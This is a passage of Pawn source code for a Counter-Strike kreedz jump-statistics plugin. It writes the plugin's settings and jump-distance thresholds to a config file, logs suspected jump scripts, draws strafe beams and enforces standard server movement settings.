fprintf(f, "kz_uq_ban_type %i - (0=standart bans, 1=amxbans)^n",uq_ban_type);
fprintf(f, "kz_uq_ban_minutes %i - ban time in minutes^n",uq_ban_minutes);
fprintf(f, "kz_uq_ban_authid %i - (ban by 0=name,1=ip,2=steam)^n",uq_ban_authid);
fprintf(f, "^n");
get_pcvar_string(kz_prefix, stringscvars, 255);
fprintf(f, "// The prefix for all messages in chat^n");
fprintf(f, "kz_uq_prefix ^"%s^"^n", stringscvars);
fprintf(f, "^n");
fprintf(f, "// How to set up a server by value sv_airaccelerate (Varible=xx, but var=0 reserved for 10aa, var=1 for 100aa)^n");
fprintf(f, "kz_uq_airaccelerate %i^n",uq_airaccel);
fprintf(f, "^n");
fprintf(f, "// On/Off Showing stats with noslowdown^n");
fprintf(f, "kz_uq_noslowdown %i^n",uq_noslow);
fprintf(f, "^n");
fprintf(f, "// Max strafes (if players strafes>Max, stats doesnt shows)^n");
fprintf(f, "kz_uq_max_strafes %i^n",NSTRAFES1);
fprintf(f, "^n");
fprintf(f, "// Allow InGame Strafe Stats (laggy feature)^n");
fprintf(f, "kz_uq_istrafes %i^n",uq_istrafe);
fprintf(f, "^n");
fprintf(f, "// Color Hud message statistics when you jump, in the RGB^n");
fprintf(f, "kz_uq_stats_red %i^n",stats_r);
fprintf(f, "kz_uq_stats_green %i^n",stats_g);
fprintf(f, "kz_uq_stats_blue %i^n",stats_b);
fprintf(f, "^n");
fprintf(f, "// Color Hud messages Fail statistics when you jump, in the RGB^n");
fprintf(f, "kz_uq_failstats_red %i^n",f_stats_r);
fprintf(f, "kz_uq_failstats_green %i^n",f_stats_g);
fprintf(f, "kz_uq_failstats_blue %i^n",f_stats_b);
fprintf(f, "^n");
fprintf(f, "// Color Hud messages prestrafe, in the RGB^n");
fprintf(f, "kz_uq_prestrafe_red %i^n",prest_r);
fprintf(f, "kz_uq_prestrafe_green %i^n",prest_g);
fprintf(f, "kz_uq_prestrafe_blue %i^n",prest_b);
fprintf(f, "^n");
fprintf(f, "// Color of speed, in the RGB^n");
fprintf(f, "kz_uq_speed_red %i^n",speed_r);
fprintf(f, "kz_uq_speed_green %i^n",speed_g);
fprintf(f, "kz_uq_speed_blue %i^n",speed_b);
fprintf(f, "^n");
fprintf(f, "//Coordinates Hud messages^n");
fprintf(f, "^n");
fprintf(f, "//General stats jump^n");
get_pcvar_string(kz_stats_x, s_x, 9);
get_pcvar_string(kz_stats_y, s_y, 9);
fprintf(f, "kz_uq_stats_x ^"%s^"^n", s_x);
fprintf(f, "kz_uq_stats_y ^"%s^"^n", s_y);
fprintf(f, "^n");
fprintf(f, "//Strafes Stats^n");
get_pcvar_string(kz_strafe_x, s_x, 9);
get_pcvar_string(kz_strafe_y, s_y, 9);
fprintf(f, "kz_uq_strafe_x ^"%s^"^n", s_x);
fprintf(f, "kz_uq_strafe_y ^"%s^"^n", s_y);
fprintf(f, "^n");
fprintf(f, "//Ducks Stats for Multi dd^n");
get_pcvar_string(kz_duck_x, s_x, 9);
get_pcvar_string(kz_duck_y, s_y, 9);
fprintf(f, "kz_uq_duck_x ^"%s^"^n", s_x);
fprintf(f, "kz_uq_duck_y ^"%s^"^n", s_y);
fprintf(f, "^n");
fprintf(f, "//Speed^n");
get_pcvar_string(kz_speed_x, s_x, 9);
get_pcvar_string(kz_speed_y, s_y, 9);
fprintf(f, "kz_uq_speed_x ^"%s^"^n", s_x);
fprintf(f, "kz_uq_speed_y ^"%s^"^n", s_y);
fprintf(f, "^n");
fprintf(f, "//Prestrafe^n");
get_pcvar_string(kz_prest_x, s_x, 9);
get_pcvar_string(kz_prest_y, s_y, 9);
fprintf(f, "kz_uq_prestrafe_x ^"%s^"^n", s_x);
fprintf(f, "kz_uq_prestrafe_y ^"%s^"^n", s_y);
fprintf(f, "^n");
fprintf(f, "// Channel Hud messages of general stats jump^n");
fprintf(f, "kz_uq_hud_stats %i^n",h_stats);
fprintf(f, "^n");
fprintf(f, "// Channel Hud messages of strafes Stats^n");
fprintf(f, "kz_uq_hud_strafe %i^n",h_streif);
fprintf(f, "^n");
fprintf(f, "// Channel Hud messages of ducks Stats for Multi CountJump^n");
fprintf(f, "kz_uq_hud_duck %i^n",h_duck);
fprintf(f, "^n");
fprintf(f, "// Channel Hud messages of speed^n");
fprintf(f, "kz_uq_hud_speed %i^n",h_speed);
fprintf(f, "^n");
fprintf(f, "// Channel Hud messages of prestafe^n");
fprintf(f, "kz_uq_hud_pre %i^n",h_prest);
fprintf(f, "^n");
fprintf(f, "// For what technique stats enable^n");
fprintf(f, "kz_uq_lj %i^n",uq_lj);
fprintf(f, "kz_uq_cj %i^n",uq_cj);
fprintf(f, "kz_uq_bj %i^n",uq_bj);
fprintf(f, "kz_uq_sbj %i^n",uq_sbj);
fprintf(f, "kz_uq_wj %i^n",uq_wj);
fprintf(f, "kz_uq_dcj %i^n",uq_dcj);
fprintf(f, "kz_uq_mcj %i^n",uq_mcj);
fprintf(f, "kz_uq_drbj %i^n",uq_drbj);
fprintf(f, "kz_uq_drcj %i^n",uq_drcj);
fprintf(f, "kz_uq_ladder %i^n",uq_ladder);
fprintf(f, "kz_uq_ldbj %i^n",uq_ldbj);
fprintf(f, "^n");
fprintf(f, "// Max,Min block to show in edge^n");
fprintf(f, "kz_uq_max_block %i^n",uq_maxedge);
fprintf(f, "kz_uq_min_block %i^n",uq_minedge);
fprintf(f, "^n");
fprintf(f, "// Minimum Prestrafe to show^n");
fprintf(f, "kz_uq_min_pre %i^n",uq_min_pre);
fprintf(f, "^n");
fprintf(f, "// For what Extra technique stats enable^n");
fprintf(f, "kz_uq_scj %i^n",uq_drsbj);
fprintf(f, "kz_uq_dscj %i^n",uq_dscj);
fprintf(f, "kz_uq_mscj %i^n",uq_mscj);
fprintf(f, "kz_uq_dropscj %i^n",uq_dropscj);
fprintf(f, "kz_uq_dropdscj %i^n",uq_dropdscj);
fprintf(f, "kz_uq_dropmscj %i^n",uq_dropmscj);
fprintf(f, "kz_uq_duckbhop %i^n",uq_duckbhop);
fprintf(f, "kz_uq_bhopinduck %i^n",uq_bhopinduck);
fprintf(f, "kz_uq_realldbhop %i^n",uq_realldbhop);
fprintf(f, "kz_uq_upbj %i^n",uq_upbj);
fprintf(f, "kz_uq_upsbj %i^n",uq_upsbj);
fprintf(f, "kz_uq_upbhopinduck %i^n",uq_upbhopinduck);
fprintf(f, "kz_uq_multibhop %i^n",uq_multibhop);
fprintf(f, "kz_uq_dropdcj %i^n",uq_dropdcj);
fprintf(f, "kz_uq_dropmcj %i^n",uq_dropmcj);
fprintf(f, "^n");
fprintf(f, "// Color for chat messages of jump distances (good = grey, pro = green, holy = blue, leet = red, god = red (with sound godlike for all players))^n");
fprintf(f, "// LongJump/HighJump^n");
fprintf(f, "kz_uq_good_lj %i^n",lj_good_dist);
fprintf(f, "kz_uq_pro_lj %i^n",lj_pro_dist);
fprintf(f, "kz_uq_holy_lj %i^n",lj_holy_dist);
fprintf(f, "kz_uq_leet_lj %i^n",lj_leet_dist);
fprintf(f, "kz_uq_god_lj %i^n",lj_god_dist);
fprintf(f, "^n");
fprintf(f, "// CountJump^n");
fprintf(f, "kz_uq_good_cj %i^n",cj_good_dist);
fprintf(f, "kz_uq_pro_cj %i^n",cj_pro_dist);
fprintf(f, "kz_uq_holy_cj %i^n",cj_holy_dist);
fprintf(f, "kz_uq_leet_cj %i^n",cj_leet_dist);
fprintf(f, "kz_uq_god_cj %i^n",cj_god_dist);
fprintf(f, "^n");
fprintf(f, "// Double CountJump/Multi CountJump^n");
fprintf(f, "kz_uq_good_dcj %i^n",dcj_good_dist);
fprintf(f, "kz_uq_pro_dcj %i^n",dcj_pro_dist);
fprintf(f, "kz_uq_holy_dcj %i^n",dcj_holy_dist);
fprintf(f, "kz_uq_leet_dcj %i^n",dcj_leet_dist);
fprintf(f, "kz_uq_god_dcj %i^n",dcj_god_dist);
fprintf(f, "^n");
fprintf(f, "// LadderJump^n");
fprintf(f, "kz_uq_good_ladder %i^n",ladder_good_dist);
fprintf(f, "kz_uq_pro_ladder %i^n",ladder_pro_dist);
fprintf(f, "kz_uq_holy_ladder %i^n",ladder_holy_dist);
fprintf(f, "kz_uq_leet_ladder %i^n",ladder_leet_dist);
fprintf(f, "kz_uq_god_ladder %i^n",ladder_god_dist);
fprintf(f, "^n");
fprintf(f, "// BhopJump/StandUp BhopJump^n");
fprintf(f, "kz_uq_good_bj %i^n",bj_good_dist);
fprintf(f, "kz_uq_pro_bj %i^n",bj_pro_dist);
fprintf(f, "kz_uq_holy_bj %i^n",bj_holy_dist);
fprintf(f, "kz_uq_leet_bj %i^n",bj_leet_dist);
fprintf(f, "kz_uq_god_bj %i^n",bj_god_dist);
fprintf(f, "^n");
fprintf(f, "// WeirdJump/Drop CountJump(double,multi)/Ladder BhopJump^n");
fprintf(f, "kz_uq_good_wj %i^n",wj_good_dist);
fprintf(f, "kz_uq_pro_wj %i^n",wj_pro_dist);
fprintf(f, "kz_uq_holy_wj %i^n",wj_holy_dist);
fprintf(f, "kz_uq_leet_wj %i^n",wj_leet_dist);
fprintf(f, "kz_uq_god_wj %i^n",wj_god_dist);
fprintf(f, "^n");
fprintf(f, "// Drop BhopJump^n");
fprintf(f, "kz_uq_good_dbj %i^n",dbj_good_dist);
fprintf(f, "kz_uq_pro_dbj %i^n",dbj_pro_dist);
fprintf(f, "kz_uq_holy_dbj %i^n",dbj_holy_dist);
fprintf(f, "kz_uq_leet_dbj %i^n",dbj_leet_dist);
fprintf(f, "kz_uq_god_dbj %i^n",dbj_god_dist);
fprintf(f, "^n");
fprintf(f, "// StandUp CountJump (Double or Multi StandUp CountJump=SCJ+10units)(if 100aa all cvar dist +10 units)^n");
fprintf(f, "kz_uq_good_scj %i^n",scj_good_dist);
fprintf(f, "kz_uq_pro_scj %i^n",scj_pro_dist);
fprintf(f, "kz_uq_holy_scj %i^n",scj_holy_dist);
fprintf(f, "kz_uq_leet_scj %i^n",scj_leet_dist);
fprintf(f, "kz_uq_god_scj %i^n",scj_god_dist);
fprintf(f, "^n");
fprintf(f, "// Drop StandUp CountJump(double,multi)^n");
fprintf(f, "kz_uq_good_dropscj %i^n",dropscj_good_dist);
fprintf(f, "kz_uq_pro_dropscj %i^n",dropscj_pro_dist);
fprintf(f, "kz_uq_holy_dropscj %i^n",dropscj_holy_dist);
fprintf(f, "kz_uq_leet_dropscj %i^n",dropscj_leet_dist);
fprintf(f, "kz_uq_god_dropscj %i^n",dropscj_god_dist);
fprintf(f, "^n");
fprintf(f, "// Up Bhop^n");
fprintf(f, "kz_uq_good_upbj %i^n",upbj_good_dist);
fprintf(f, "kz_uq_pro_upbj %i^n",upbj_pro_dist);
fprintf(f, "kz_uq_holy_upbj %i^n",upbj_holy_dist);
fprintf(f, "kz_uq_leet_upbj %i^n",upbj_leet_dist);
fprintf(f, "kz_uq_god_upbj %i^n",upbj_god_dist);
fprintf(f, "^n");
fprintf(f, "// Up StandBhop^n");
fprintf(f, "kz_uq_good_upsbj %i^n",upsbj_good_dist);
fprintf(f, "kz_uq_pro_upsbj %i^n",upsbj_pro_dist);
fprintf(f, "kz_uq_holy_upsbj %i^n",upsbj_holy_dist);
fprintf(f, "kz_uq_leet_upsbj %i^n",upsbj_leet_dist);
fprintf(f, "kz_uq_god_upsbj %i^n",upsbj_god_dist);
fprintf(f, "^n");
fprintf(f, "// Bhop In Duck(Up Bhop In Duck)^n");
fprintf(f, "kz_uq_good_bhopinduck %i^n",bhopinduck_good_dist);
fprintf(f, "kz_uq_pro_bhopinduck %i^n",bhopinduck_pro_dist);
fprintf(f, "kz_uq_holy_bhopinduck %i^n",bhopinduck_holy_dist);
fprintf(f, "kz_uq_leet_bhopinduck %i^n",bhopinduck_leet_dist);
fprintf(f, "kz_uq_god_bhopinduck %i^n",bhopinduck_god_dist);
fprintf(f, "^n");
fprintf(f, "// Duck Bhop^n");
fprintf(f, "kz_uq_good_duckbhop %i^n",duckbhop_good_dist);
fprintf(f, "kz_uq_pro_duckbhop %i^n",duckbhop_pro_dist);
fprintf(f, "kz_uq_holy_duckbhop %i^n",duckbhop_holy_dist);
fprintf(f, "kz_uq_leet_duckbhop %i^n",duckbhop_leet_dist);
fprintf(f, "kz_uq_god_duckbhop %i^n",duckbhop_god_dist);
fprintf(f, "^n");
fprintf(f, "// Real Ladder Bhop^n");
fprintf(f, "kz_uq_good_realldbhop %i^n",real_good_dist);
fprintf(f, "kz_uq_pro_realldbhop %i^n",real_pro_dist);
fprintf(f, "kz_uq_holy_realldbhop %i^n",real_holy_dist);
fprintf(f, "kz_uq_leet_realldbhop %i^n",real_leet_dist);
fprintf(f, "kz_uq_god_realldbhop %i^n",real_god_dist);
fprintf(f, "^n");
fclose(f);
server_cmd("exec %s", config);
server_exec();
}
public Log_script(f_frames,cheated_frames,id,Float:log_dist,Float:log_max,Float:log_pre,log_str,log_sync,jump_type_str[],wpn_str[],punishments[],t_str[40*NSTRAFES])
{
new Date[20];
get_time("%m/%d/%y %H:%M:%S", Date, 19) ;
new username[33];
get_user_name(id, username, 32);
new userip[16];
get_user_ip(id, userip, 15, 1);
new authid[35];
get_user_authid(id, authid, 34);
new main_text[512];
write_file(logs_path, "---------------------------------------------------", -1);
formatex(main_text, 511, "%s |%s |%s |%s |%s |%s ^n", Date,username, authid, userip, "Script",punishments);
write_file(logs_path, main_text, -1);
formatex(main_text, 511, "Type: %s ::: Weapon: %s^nDistance: %.03f Maxspeed: %.03f Prestrafe: %.03f Strafes: %d Sync: %d^n",jump_type_str,wpn_str,log_dist,log_max,log_pre,log_str,log_sync);
write_file(logs_path, main_text, -1);
formatex(main_text, 511, "Total Frames: %d^nCheated Frames: %d^n",f_frames,cheated_frames);
write_file(logs_path, main_text, -1);
new strf[40];
for(new ll=INFO_ONE; (ll <= log_str) && (ll < NSTRAFES);ll++)
{
strtok(t_str,strf,40,t_str,40*NSTRAFES,'^n');
replace(strf,40,"^n","");
write_file(logs_path, strf, -1);
}
write_file(logs_path, "---------------------------------------------------", -1);
if(uq_script_notify)
{
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SCRIPTNOTIFY",prefix,username,jump_type_str);
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_SCRIPTNOTIFY",prefix,username,jump_type_str);
Color_Chat_Lang(id,GREY,"%L",LANG_SERVER,"UQSTATS_SCRIPTNOTIFY",prefix,username,jump_type_str);
}
}
public krasnota(id)
{
message_begin(MSG_ONE, get_user_msgid("ScreenFade"), _, id);
write_short(1<<10);
write_short(1<<10);
write_short(0x0000);
write_byte(255);
write_byte(0);
write_byte(0);
write_byte(110);
message_end();
}
public sineva(id)
{
message_begin(MSG_ONE, get_user_msgid("ScreenFade"), _, id);
write_short(1<<10);
write_short(1<<10);
write_short(0x0000);
write_byte(0);
write_byte(0);
write_byte(255);
write_byte(110);
message_end();
}
public tskFps(id)
{
if( leg_settings)
{
id-=434490;
client_cmd(id, "developer 0;fps_max 101;cl_forwardspeed 400;cl_sidespeed 400;cl_backspeed 400");
}
}
public server_frame()
{
if( leg_settings )
{
if( get_pcvar_num(edgefriction) != 2 )
set_pcvar_num(edgefriction, 2);
if( get_pcvar_num(mp_footsteps) != 1 )
set_pcvar_num(mp_footsteps, 1);
if( get_pcvar_num(sv_cheats) != 0 )
set_pcvar_num(sv_cheats, 0);
if( get_pcvar_num(sv_gravity)!= 800 )
set_pcvar_num(sv_gravity, 800);
if((uq_airaccel==0 || uq_airaccel==10) && get_pcvar_num(sv_airaccelerate) != 10 )
set_pcvar_num(sv_airaccelerate, 10);
else if((uq_airaccel==1 || uq_airaccel==100) && get_pcvar_num(sv_airaccelerate) != 100 )
set_pcvar_num(sv_airaccelerate, 100);
else if(get_pcvar_num(sv_airaccelerate) != uq_airaccel && uq_airaccel!=0 && uq_airaccel!=1)
set_pcvar_num(sv_airaccelerate, uq_airaccel);
if( get_pcvar_num(sv_maxspeed) != 320 )
set_pcvar_num(sv_maxspeed, 320);
if( get_pcvar_num(sv_stepsize) != 18 )
set_pcvar_num(sv_stepsize, 18);
if( get_pcvar_num(sv_maxvelocity) != 2000 )
set_pcvar_num(sv_maxvelocity, 2000);
}
}
public client_putinserver(id)
{
if(speedon[id] && !is_user_hltv(id) && !is_user_bot(id))// && is_user_alive(id) && is_user_bot(id) && is_user_hltv())
{
set_task(0.1, "DoSpeed", id+212299, "", 0, "b", 0);
}
get_user_name(id, g_playername[id], 63);
get_user_ip(id, g_playerip[id], 15, 1);
get_user_authid(id, g_playersteam[id], 35);
if(kz_sql == 1)
{
player_load_info(id);
}
if(is_user_admin(id))
{
player_admin[id]=true;
}
}
public Dojof(taskid)
{
taskid-=212398;
static alive, spectatedplayer;
alive = g_alive[taskid];
spectatedplayer = get_spectated_player(taskid);
if( (alive || spectatedplayer > 0))
{
new show_id;
if( alive )
{
show_id=taskid;
}
else
{
show_id=spectatedplayer;
}
if(jof[show_id]!=0.0)
{
if(jof[show_id]>5.0)
{
set_hudmessage(255, 255, 255, -1.0, 0.6, 0, 0.0, 0.7, 0.0, 0.0, h_speed);
}
else
{
set_hudmessage(255, 0, 0, -1.0, 0.6, 0, 0.0, 0.7, 0.0, 0.0, h_speed);
}
show_hudmessage(taskid,"%L",LANG_SERVER,"UQSTATS_JOF", jof[show_id]);
}
}
}
public DoSpeed(taskid)
{
taskid-=212299;
static alive, spectatedplayer;
alive = g_alive[taskid];
spectatedplayer = get_spectated_player(taskid);
if( (alive || spectatedplayer > 0))
{
new show_id;
if( alive )
{
show_id=taskid;
}
else
{
show_id=spectatedplayer;
}
new Float:velocity[3];
pev(show_id, pev_velocity, velocity);
if( velocity[2] != 0 )
velocity[2]-=velocity[2];
new Float:speedy = vector_length(velocity);
if(speedtype[taskid])
{
set_dhudmessage(speed_r, speed_g, speed_b, speed_x, speed_y, 0, 0.0, 0.1, 0.0, 0.0);
show_dhudmessage(taskid, "%L",LANG_SERVER,"UQSTATS_SPEEDSHOW", floatround(speedy, floatround_floor));
}
else
{
set_hudmessage(speed_r, speed_g, speed_b, speed_x, speed_y, 0, 0.0, 0.2, 0.0, 0.0, h_speed);
show_hudmessage(taskid, "%L",LANG_SERVER,"UQSTATS_SPEEDSHOW", floatround(speedy, floatround_floor));
}
}
}
public wait(id)
{
id-=3313;
waits[id]=1;
}
public wait1(id)
{
id-=3214;
waits1[id]=1;
}
public client_command(id)
{
static command[32];
read_argv( 0, command, 31 );
static const forbidden[][] = {
"tele", "tp", "gocheck", "gc", "stuck", "unstuck", "start", "reset", "restart",
"spawn", "respawn"
};
if(uq_info)
{
if(record_start[id]==0 && equali( command, "fullupdate" ))
{
record_start[id]=1;
}
else if(record_start[id]==1 && equali( command, "specmode" ))
{
set_hudmessage(255, 255, 255, 0.72, 0.0, 0, 6.0, 1.0);
show_hudmessage(id, "%L",LANG_SERVER,"UQSTATS_INFOSTS",VERSION);
record_start[id]=0;
}
}
if( equali( command, "say" ) )
{
read_args( command, 31 );
remove_quotes( command );
}
if( equali( command, "+hook" ) )
{
JumpReset(id,0);
donehook[id]=true;
hookcheck[id]=false;
}
else if( command[0] == '/' || command[0] == '.' )
{
copy( command, 31, command[1] );
for( new i ; i < sizeof( forbidden ) ; i++ )
{
if( equali( command, forbidden[i] ) )
{
JumpReset(id,1);
break;
}
}
}
}
public remove_beam_ent(id)
{
for(new i=0;i<ent_count[id];i++)
{
message_begin(MSG_BROADCAST,SVC_TEMPENTITY);
write_byte(99);
write_short(beam_entity[id][i]);
message_end();
remove_entity(beam_entity[id][i]);
}
ent_count[id]=0;
}
public epta(id,Float:or[3],direct_strafe,l_lost[NSTRAFES][NVAR],full,ducked,str_num,strafe_frame1[NSTRAFES],strafe_frame2[NSTRAFES],strafe_lost[NSTRAFES])
{
new Float:os_start,Float:temp_or[3],direct[2];
switch(direct_strafe)
{
case 1:
{
temp_or[0]=or[0];
temp_or[1]=or[1]+48.0;
if(ducked)
{
temp_or[2]=or[2]+16+18;
}
else temp_or[2]=or[2]+18;
}
case 2:
{
temp_or[0]=or[0];
temp_or[1]=or[1]-48.0;
if(ducked)
{
temp_or[2]=or[2]+16+18;
}
else temp_or[2]=or[2]+18;
direct[1]=1;
}
case 3:
{
temp_or[0]=or[1];
temp_or[1]=or[0]+48.0;
if(ducked)
{
temp_or[2]=or[2]+16+18;
}
else temp_or[2]=or[2]+18;
direct[0]=1;
direct[1]=1;
}
case 4:
{
temp_or[0]=or[1];
temp_or[1]=or[0]-48.0;
if(ducked)
{
temp_or[2]=or[2]+16+18;
}
else temp_or[2]=or[2]+18;
direct[0]=1;
}
}
os_start=temp_or[0]-(full/2);
if(direct[1])
{
new Float:temp_start=os_start+full;
beam_entity[id][ent_count[id]] = create_entity("info_target");
//entity_set_int(beam_entity[id][ent_count[id]], EV_INT_solid, SOLID_NOT);
entity_set_model(beam_entity[id][ent_count[id]], "models/hairt.mdl");
new Float:ent_or[3];
if(direct[0])
{
ent_or[0]=temp_or[1];
ent_or[1]=temp_start;
}
else
{
ent_or[0]=temp_start;
ent_or[1]=temp_or[1];
}
ent_or[2]=temp_or[2];
entity_set_origin(beam_entity[id][ent_count[id]], ent_or);
message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
write_byte(TE_BEAMENTPOINT);
write_short(beam_entity[id][ent_count[id]]);
///////////////////////////////////////////
if(direct[0])
{
write_coord(floatround(temp_or[1]));
write_coord(floatround(temp_start-full));
}
else
{
write_coord(floatround(temp_start-full));
write_coord(floatround(temp_or[1]));
}
write_coord(floatround(temp_or[2]));
///////////////////////////////////////////
write_short(heystats);
write_byte(0);
write_byte(5);
write_byte(showtime_st_stats[id]);
write_byte(1);
write_byte(0);
write_byte(0);
write_byte(0);
write_byte(255);
write_byte(150);
write_byte(1);
message_end();
ent_count[id]++;
for(new i=0;i<2;i++)
{
beam_entity[id][ent_count[id]] = create_entity("info_target");
//entity_set_int(beam_entity[id][ent_count[id]], EV_INT_solid, SOLID_NOT);
entity_set_model(beam_entity[id][ent_count[id]], "models/hairt.mdl");
new Float:ent_org[3];
if(direct[0])
{
ent_org[0]=temp_or[1];
if(i==1)
ent_org[1]=temp_start-full;
else
ent_org[1]=temp_start;
}
else
{
if(i==1)
ent_org[0]=temp_start-full;
else
ent_org[0]=temp_start;
ent_org[1]=temp_or[1];
}
ent_org[2]=temp_or[2]-10.0;
entity_set_origin(beam_entity[id][ent_count[id]], ent_org);
message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
write_byte(TE_BEAMENTPOINT);
write_short(beam_entity[id][ent_count[id]]);
///////////////////////////////////////////
if(direct[0])
{
write_coord(floatround(temp_or[1]));
if(i==1)
write_coord(floatround(temp_start-full));
else
write_coord(floatround(temp_start));
}
else
{
if(i==1)
write_coord(floatround(temp_start-full));
else
write_coord(floatround(temp_start));
write_coord(floatround(temp_or[1]));
}
write_coord(floatround(temp_or[2]+10.0));
///////////////////////////////////////////
write_short(heystats);
write_byte(0);
write_byte(5);
write_byte(showtime_st_stats[id]);
write_byte(5);
write_byte(0);
write_byte(0);
write_byte(0);
write_byte(255);
write_byte(150);
write_byte(1);
message_end();
ent_count[id]++;
}
for(new i=1;i<=str_num;i++)
{
new Float:st_start,Float:st_finish;
st_finish=temp_start-strafe_lost[i]-strafe_frame1[i]-strafe_frame2[i];
st_start=temp_start-strafe_lost[i];
for(new Float:j=st_start,count_l=0;j>st_finish;j=j-1.0)
{
beam_entity[id][ent_count[id]] = create_entity("info_target");
//entity_set_int(beam_entity[id][ent_count[id]], EV_INT_solid, SOLID_NOT);
entity_set_model(beam_entity[id][ent_count[id]], "models/hairt.mdl");
new Float:ent_org[3];
if(direct[0])
{
ent_org[0]=temp_or[1];
ent_org[1]=j;
}
else
{
ent_org[0]=j;
ent_org[1]=temp_or[1];
}
if(i%2!=0)
ent_org[2]=temp_or[2];
else
ent_org[2]=temp_or[2]-4.0;
entity_set_origin(beam_entity[id][ent_count[id]], ent_org);
message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
write_byte(TE_BEAMENTPOINT);
write_short(beam_entity[id][ent_count[id]]);
///////////////////////////////////////////
if(direct[0])
{
write_coord(floatround(temp_or[1]));
write_coord(floatround(j));
}
else
{
write_coord(floatround(j));
write_coord(floatround(temp_or[1]));
}
if(i%2!=0)
write_coord(floatround(temp_or[2]+4.0));
else
write_coord(floatround(temp_or[2]));
///////////////////////////////////////////
write_short(heystats);
write_byte(0);
write_byte(5);
write_byte(showtime_st_stats[id]);
write_byte(5);
write_byte(0);
if(l_lost[i][count_l])
{
write_byte(255);
write_byte(0);
write_byte(0);
line_lost[id][i][count_l]=0;
}
else
{
write_byte(0);
write_byte(255);
write_byte(0);
}
write_byte(200);
write_byte(1);
message_end();
count_l++;
ent_count[id]++;
}
temp_start=st_finish;
}
}
else
{
new Float:temp_start=os_start;
beam_entity[id][ent_count[id]] = create_entity("info_target");
// entity_set_int(beam_entity[id][ent_count[id]], EV_INT_solid, SOLID_NOT);
entity_set_model(beam_entity[id][ent_count[id]], "models/hairt.mdl");
new Float:ent_or[3];
if(direct[0])
{
ent_or[0]=temp_or[1];
ent_or[1]=temp_start;
}
else
{
ent_or[0]=temp_start;
ent_or[1]=temp_or[1];
}
ent_or[2]=temp_or[2];
entity_set_origin(beam_entity[id][ent_count[id]], ent_or);
message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
write_byte(TE_BEAMENTPOINT);
write_short(beam_entity[id][ent_count[id]]);
///////////////////////////////////////////
if(direct[0])
{
write_coord(floatround(temp_or[1]));
write_coord(floatround(temp_start+full));
}
else
{
write_coord(floatround(temp_start+full));
write_coord(floatround(temp_or[1]));
}
write_coord(floatround(temp_or[2]));
///////////////////////////////////////////
write_short(heystats);
write_byte(0);
write_byte(5);
write_byte(showtime_st_stats[id]);
write_byte(1);
write_byte(0);
write_byte(0);
write_byte(0);
write_byte(255);
write_byte(150);
write_byte(1);
message_end();
ent_count[id]++;
for(new i=0;i<2;i++)
{
beam_entity[id][ent_count[id]] = create_entity("info_target");
//entity_set_int(beam_entity[id][ent_count[id]], EV_INT_solid, SOLID_NOT);
entity_set_model(beam_entity[id][ent_count[id]], "models/hairt.mdl");
new Float:ent_org[3];
if(direct[0])
{
ent_org[0]=temp_or[1];
if(i==1)
ent_org[1]=temp_start+full;
else
ent_org[1]=temp_start;
}
else
{
if(i==1)
ent_org[0]=temp_start+full;
else
ent_org[0]=temp_start;
ent_org[1]=temp_or[1];
}
ent_org[2]=temp_or[2]-10.0;
entity_set_origin(beam_entity[id][ent_count[id]], ent_org);
message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
write_byte(TE_BEAMENTPOINT);
write_short(beam_entity[id][ent_count[id]]);
///////////////////////////////////////////
if(direct[0])
{
write_coord(floatround(temp_or[1]));
if(i==1)
write_coord(floatround(temp_start+full));
else
write_coord(floatround(temp_start));
}
else
{
if(i==1)
write_coord(floatround(temp_start+full));
else
write_coord(floatround(temp_start));
write_coord(floatround(temp_or[1]));
}
write_coord(floatround(temp_or[2]+10.0));
///////////////////////////////////////////
write_short(heystats);
write_byte(0);
write_byte(5);
write_byte(showtime_st_stats[id]);
write_byte(5);
write_byte(0);
write_byte(0);
write_byte(0);
write_byte(255);
write_byte(150);
write_byte(1);
message_end();
ent_count[id]++;
}
for(new i=1;i<=str_num;i++)
{
new Float:st_start,Float:st_finish;
st_finish=temp_start+strafe_lost[i]+strafe_frame1[i]+strafe_frame2[i];
st_start=temp_start+strafe_lost[i];
//ColorChat(id,RED,"start=%f tempstart=%f st_start=%f st_finish=%f",os_start,temp_start, st_start,st_finish);
for(new Float:j=st_start,count_l=0;j<st_finish;j++)
{
beam_entity[id][ent_count[id]] = create_entity("info_target");
// entity_set_int(beam_entity[id][ent_count[id]], EV_INT_solid, SOLID_NOT);
entity_set_model(beam_entity[id][ent_count[id]], "models/hairt.mdl");
new Float:ent_org[3];
if(direct[0])
{
ent_org[0]=temp_or[1];
ent_org[1]=j;
}
else
{
ent_org[0]=j;
ent_org[1]=temp_or[1];
}
if(i%2!=0)
ent_org[2]=temp_or[2];
else
ent_org[2]=temp_or[2]-4.0;
entity_set_origin(beam_entity[id][ent_count[id]], ent_org);
message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
write_byte(TE_BEAMENTPOINT);
write_short(beam_entity[id][ent_count[id]]);
///////////////////////////////////////////
if(direct[0])
{
write_coord(floatround(temp_or[1]));
write_coord(floatround(j));
}
else
{
write_coord(floatround(j));
write_coord(floatround(temp_or[1]));
}
if(i%2!=0)
write_coord(floatround(temp_or[2]+4.0));
else
write_coord(floatround(temp_or[2]));
///////////////////////////////////////////
write_short(heystats);
write_byte(0);
write_byte(5);
write_byte(showtime_st_stats[id]);
write_byte(5);
write_byte(0);
if(l_lost[i][count_l])
{
write_byte(255);
write_byte(0);
write_byte(0);
line_lost[id][i][count_l]=0;
}
else
{
write_byte(0);
write_byte(255);
write_byte(0);
}
write_byte(200);
write_byte(1);
message_end();
count_l++;
ent_count[id]++;
}
temp_start=st_finish;
}
}
}
public fwdPreThink( id )
{
if(g_userConnected[id]==true && g_pBot[id]==false)
{
if(uq_admins==1 && !player_admin[id])
{
return FMRES_IGNORED;
}
else
{
new tmpTeam[33],dead_flag;
get_user_team(id,tmpTeam,32);
dead_flag=pev(id, pev_deadflag);
if(equali(tmpTeam,"SPECTATOR") && g_alive[id])
{
g_alive[id]=false;
if( task_exists(id, 0) )
remove_task(id, 0);
if( task_exists(id+434490, 0) )
